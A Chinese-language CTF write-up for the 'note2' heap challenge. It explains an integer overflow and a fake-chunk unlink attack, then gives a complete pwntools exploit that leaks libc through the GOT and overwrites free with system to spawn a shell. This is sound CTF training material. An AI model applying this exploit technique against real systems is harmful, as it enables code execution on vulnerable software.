一道伪造空闲chunk,利用unlink攻击指针数组的题,算是比较典型。
先checksec,堆题不开PIE,八成是打堆块指针数组,然后劫持指针指向got表附近,通过覆写got表拿到shell。
程序有四个功能。前面输入name和Addr都没啥用。
审计代码,Add,Del,Show都是很简单的,可以得知申请的堆块地址和申请的空间的大小是由两个数组管理的。Del里面没有UAF漏洞。Add中申请0x80可以得到unsorted bin chunk
在读取字符串的函数中,存在一个整数溢出漏洞。这里在for循环的判断条件中,本意是让i在0~size-1的范围内,即输入size个字符。但是这里size-1为有符号数,i为无符号数,比较时会把size-1变为无符号数。而申请堆块时,malloc(0)会返回一个0x20大小的堆块。而size为0时,size-1为0xff ff ff ff ff ff ff ff,这里几乎可以无限制地溢出
Edit函数可以覆盖原本的内容,也可以在后面续写。
这里Edit函数无论是覆写还是拼接都是使用了strcpy和strncat,存在\x00截断的问题。我们通过2中拼接操作来处理size为0的堆块,这样在下面v2[size-strlen(dest)+14]=0所截断的位置就不会在我们输入的内容当中。就可以将输入的一长串内容全部拼接到原来的内容之后
思路:伪造堆块fake chunk,并且事先在fake chunk后面申请过一个unsorted bin chunk,同时在unsorted bin chunk 和fake chunk之间预留一个通过size为0申请的chunk,以实现堆溢出,通过堆溢出来修改下一个堆块的size标记位(0x91变为0x90),并覆写prev_size字段。这样,fake chunk在我们释放这个unsorted bin chunk时,会被视为已经被释放的堆块,会触发堆块合并,即触发fake chunk 的unlink。
这样通过unlink,就可以让一个堆块指针指向指针数组ptr的上方,然后在劫持指针指向got表,泄露libc基址并且修改free函数got表为system函数地址或者onegadget地址
exp:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'
#r=remote('node4.buuoj.cn',25932)
r=process('/home/wjc/Desktop/note2')
e=ELF('/home/wjc/Desktop/note2')
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')
ptr=0x602120
def welcome(name,addr):
r.recvuntil("Input your name:")
r.sendline(name)
r.recvuntil("Input your address:")
r.sendline(addr)
def cmd(idx):
r.recvuntil('option--->>')
r.sendline(str(idx))
def Add(size,content):
cmd(1)
r.recvuntil("Input the length of the note content:(less than 128)")
r.sendline(str(size))
r.recvuntil('Input the note content:')
r.sendline(content)
def Del(idx):
cmd(4)
r.recvuntil('Input the id of the note:')
r.sendline(str(idx))
def Edit(idx,Type,content):
cmd(3)
r.recvuntil('Input the id of the note:')
r.sendline(str(idx))
r.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]')
r.sendline(str(Type))
r.recvuntil('TheNewContents:')
r.sendline(content)
def Show(idx):
cmd(2)
r.recvuntil("Input the id of the note:")
r.sendline(str(idx))
welcome("wjc","jiangsu")
Add(0x80,'a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10))
Add(0,'b'*0x10)
Add(0x80,'cccc')
Add(0x10,'/bin/sh\x00')
Edit(1,2,8*'b'+'\x90')
Edit(1,1,'b'*0x10+'a'*7)
Edit(1,1,'b'*0x10+'a'*6)
Edit(1,1,'b'*0x10+'a'*5)
Edit(1,1,'b'*0x10+'a'*4)
Edit(1,1,'b'*0x10+'a'*3)
Edit(1,1,'b'*0x10+'a'*2)
Edit(1,1,'b'*0x10+'\xa0')
Del(2)
Edit(0,1,0x18*'a'+p64(e.got['free']));
Show(0)
free_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase=free_addr-(0x7f22c21e94f0-0x7f22c2165000)
system_addr=libcbase+libc.symbols['system']
Edit(0,1,p64(system_addr))
print("libcbase:",hex(libcbase))
print("system_addr:",hex(system_addr))
Del(3)
#gdb.attach(r)
r.interactive()